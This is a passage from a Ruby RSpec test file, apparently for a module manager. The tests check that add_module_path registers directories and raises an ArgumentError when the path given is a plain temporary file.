module_manager.add_module_path(directory)
module_paths.should include(directory)
module_paths.should include(file.path)
end
end
end
end
end
context 'with other file' do
it 'should raise ArgumentError' do
Tempfile.open(basename_prefix) do |file|
expect {
subject.add_module_path(file.path)
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
end
end
end
end
end